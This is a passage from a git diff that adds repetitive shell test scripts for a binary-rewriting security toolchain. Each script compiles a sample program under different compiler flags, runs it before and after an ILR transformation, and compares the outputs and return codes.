+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8b86900a27531ef360a772368bb9738b9ac2e5dd
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a45ba589dee8156a80d583af08a07f04a04b25b4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="      -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="      -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..34949e93669bde2f76c4faf5ce2761d3c06203f8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="        -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="        -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6c199662ee2d117503deb947748c644addf5820d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="        -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="        -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cbe601cbb7de32fa76a86a64bd054180624ceca1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="          -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="          -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..246d84acc3328016d75d8e26918eba1d571d0eef
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="          -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="          -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
